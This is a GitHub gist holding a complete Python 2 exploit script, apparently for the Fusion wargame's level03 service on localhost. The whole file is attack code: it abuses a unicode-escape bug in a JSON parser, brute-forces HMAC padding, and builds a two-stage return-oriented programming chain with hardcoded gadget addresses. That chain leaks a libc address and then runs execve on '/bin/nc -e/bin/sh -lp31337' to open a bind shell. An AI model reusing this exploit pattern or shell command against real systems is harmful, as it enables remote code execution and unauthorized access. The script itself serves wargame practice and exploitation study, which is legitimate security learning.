Created
May 30, 2014 11:53
-
-
Save synap5e/940b66ffbf5fc5dfb90f to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
target = ('127.0.0.1', 20003) | |
command = ['/bin/nc', '-e/bin/sh', '-lp31337'] | |
""" | |
ltrace -i -p `ps -Af | grep level03 | grep -v -e grep -e python | tail -n 1 | cut -c 9-16` | |
echo attach `ps -Af | grep level03 | grep -v -e grep -e python | tail -n 1 | cut -c 9-16` > .gdbinit && gdb -q -iex "set auto-load safe-path /home/simon/Desktop/fusion" | |
""" | |
import struct, sys, socket, time, hmac, hashlib, string, itertools, json | |
from threading import Thread | |
def get_correct_padding(key, message): | |
for padding_it in (itertools.combinations((chr(x) for x in range(256)), y) for y in range(4)): | |
for padding in padding_it: | |
pads = '//' + ''.join(padding) | |
if hmac.HMAC(key, message + pads, digestmod=hashlib.sha1).digest()[0:2] == '\x00\x00': | |
return pads | |
# keep reading until count bytes are received, then return all data | |
def read_sock(conn, count): | |
data ='' | |
while len(data) < count: | |
data += conn.recv(count-len(data)) | |
return data | |
def to_hex(s): | |
return ':'.join(x.encode('hex') for x in s) | |
sig_len = len('"// 10.0.0.13:44241-1401239140-87644095-1265009796-1633160388"') | |
# 1000 bytes of pattern for whenever we need it | |
pattern = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co' | |
def send_payload(payload, contents='', ebx='A'*4, esi='A'*4, edi='A'*4, ebp='A'*4): | |
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
conn.connect(target) | |
sig = conn.recv(1024)[1:-2] | |
title = 'A' * 127 + '\\\\u0000' | |
title += 'A' * 15 | |
title += ebx | |
title += esi | |
title += edi | |
title += ebp | |
title += payload | |
jsonb = ('{' | |
'"contents": "' + contents + '",' | |
'"serverip": "127.0.0.1:8080",' | |
# There's a bug in decode_string where the loop checks (dest != end) | |
# but a unicode escape advances dest by 2, so we can bypass this check | |
# by having a unicode escape at the end of our legitimate buffer contents | |
'"title": "' + title + '"' | |
'}' | |
) | |
data = sig + '\n' + jsonb + '\n' | |
print '[*] Looking for padding to match key...', | |
sys.stdout.flush() | |
data += get_correct_padding(sig, data) | |
print ' FOUND' | |
#raw_input() | |
#print to_hex(data) | |
#raw_input() | |
conn.send(data) | |
conn.close() | |
print '[*] Payload sent' | |
data = 0x0804bbd0 | |
close_got_plt = 0x0804bd7c | |
ptr_close_got_plt = 0x08048ec2 | |
gContents = 0x0804bdf4 | |
ptr_data = 0x0804bcc4 | |
decode_string = struct.pack('<I', 0x08049be0) | |
pop3 = struct.pack('<I', 0x0804964d) # pop ebx ; pop esi ; pop edi ; ret | |
post_blog_article = struct.pack('<I', 0x08049f20) | |
exit = struct.pack('<I', 0x08048f80) | |
charlocs = { | |
'\x00' : 0x8048e17, | |
'\xf0' : 0x8048f0c, | |
'\xfc' : 0x8049299, | |
'\xe4' : 0x8049017, | |
'\xf3' : 0x8049779, | |
'\x02' : 0x804905d, | |
'\xbc' : 0x8049d0b, | |
'\x04' : 0x8049573, | |
'\x08' : 0x80499a5, | |
'\x16' : 0x804a046, | |
'\x0e' : 0x804a915, | |
'\x0b' : 0x80491f7, | |
'\x15' : 0x80496f7, | |
'\x18' : 0x8048f96, | |
'\x17' : 0x8049c04, | |
'\x19' : 0x8049475, | |
'/' : 0x8049f7f, | |
'b' : 0x8049f80, | |
'i' : 0x804a3a2, | |
'n' : 0x804a3a3, | |
'w' : 0x80498b5, | |
'h' : 0x8048ec6, | |
'o' : 0x804a3a7, | |
'a' : 0x804a396, | |
'm' : 0x804a511, | |
'i' : 0x804a3c1, | |
'\\' : 0x8048e42, | |
'u' : 0x80493be, | |
'0' : 0x8048d92, | |
'd' : 0x8048e62, | |
'e' : 0x8049fae, | |
'c' : 0x804a33f, | |
'h' : 0x8048e56, | |
'w' : 0x80499d9, | |
'l' : 0x8048e82, | |
't' : 0x8048ea2, | |
'p' : 0x8048f8c, | |
'-' : 0x8049aef, | |
's' : 0x8049249, | |
'3' : 0x80492d9, | |
'1' : 0x8049202, | |
'7' : 0x8048bb1, | |
'2' : 0x804a5e4, | |
'.' : 0x804a5ef, | |
'#' : 0x8049503, | |
'x' : 0x804a5e5, | |
'r' : 0x80493f6, | |
'y' : 0x804a360, | |
':' : 0x8049bf9, | |
',' : 0x8048f92 | |
} | |
badchars = ['\x00', '"', '\\', '\n', '\r'] | |
def is_bad_address(addr): | |
return any(c in badchars for c in struct.pack('<I', addr)) | |
def copy_byte(src, dst, len_ptr=data): | |
data = decode_string | |
data += pop3 | |
data += struct.pack('<I', src) | |
data += struct.pack('<I', dst) | |
data += struct.pack('<I', len_ptr) | |
return data | |
def write_0_word(dest): | |
if is_bad_address(dest): | |
raise BadAddressException('Address cannot be ' + hex(dest)) | |
return copy_byte(src=charlocs['\x00'], dst=data, len_ptr=dest) | |
class BadAddressException(Exception): | |
pass | |
def write_str(string, dest, null_terminated=False): | |
data = '' | |
for c in string: | |
if c in badchars: | |
raise Exception('String cannot contain ' + to_hex(badchar)) | |
for i, c in enumerate(string): | |
if is_bad_address(dest+i): | |
raise BadAddressException('Address cannot be ' + hex(dest+i)) | |
data += copy_byte(src=charlocs[c], dst=dest+i) | |
data += write_0_word(dest+len(string)) | |
return data | |
def send_stage1(): | |
stage1 = '' | |
# Copy the address of [email protected] into &gContents so it now points | |
# to [email protected]. When gContents is sent back to us it will instead | |
# send us the contents of [email protected] :) | |
for i in range(4): | |
stage1 += copy_byte(src=ptr_close_got_plt+i, dst=gContents+i) | |
stage1 += post_blog_article | |
stage1 += exit | |
stage1 += '\xff' * 8 | |
print '[*] Sending stage 1' | |
send_payload(stage1, contents='A'*4) | |
def send_stage_2(gclib_close_ptr): | |
execl = struct.pack('<I', gclib_close_ptr - 158992) | |
execve = struct.pack('<I', gclib_close_ptr -159712) | |
execvp = struct.pack('<I', gclib_close_ptr - 158672) | |
mprotect = struct.pack('<I', gclib_close_ptr + 47136) | |
puts = struct.pack('<I', gclib_close_ptr - 483360) | |
free = struct.pack('<I', gclib_close_ptr - 412448) | |
memset = struct.pack('<I', gclib_close_ptr - 389696) | |
stage2 = '' | |
# Write the strings used to invoke the command into the static data | |
string_locations = [] | |
loc = data+50 | |
for strng in command: | |
while True: | |
try: | |
stage2 += write_str(string=strng, dest=loc, null_terminated=True) | |
break; | |
except BadAddressException as e: | |
print e, ", trying next" | |
loc += 1 | |
string_locations.append(loc) | |
loc += len(strng)+1 | |
# write the array of these locations | |
for idx, loc in enumerate(string_locations): | |
stage2 += write_str(string=struct.pack('<I', loc), dest=data+4*(1+idx)) | |
# set the last element to be NULL | |
stage2 += write_0_word(dest=data+4*(len(string_locations)+1)) | |
stage2 += execve | |
stage2 += exit | |
stage2 += struct.pack('<I', data+50) | |
stage2 += struct.pack('<I', data+4) | |
for x in badchars: | |
if x in stage2: | |
print to_hex(stage2) | |
raise Exception(to_hex(x) + ' in payload') | |
stage2 += '\\\\u0000' | |
print '[*] Sending stage 2' | |
send_payload(stage2) | |
def listen_for_stage1_data(port): | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.bind(('', port)) | |
s.listen(1) | |
print '[*] Listening for stage1 response on port', port | |
conn, addr = s.accept() | |
print '[*] Received connection from:', addr | |
data = conn.recv(10240) | |
gclib_close_ptr = struct.unpack('<I', data[-4:])[0] | |
print '[*] Close is at', hex(gclib_close_ptr) | |
send_stage_2(gclib_close_ptr) | |
sys.exit(0) | |
print '> Trying to run "' + ' '.join(command) + '" on ' + target[0] | |
t = Thread(target = listen_for_stage1_data, args=(8080,)) | |
t.start() | |
time.sleep(1) | |
send_stage1() | |
t.join() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment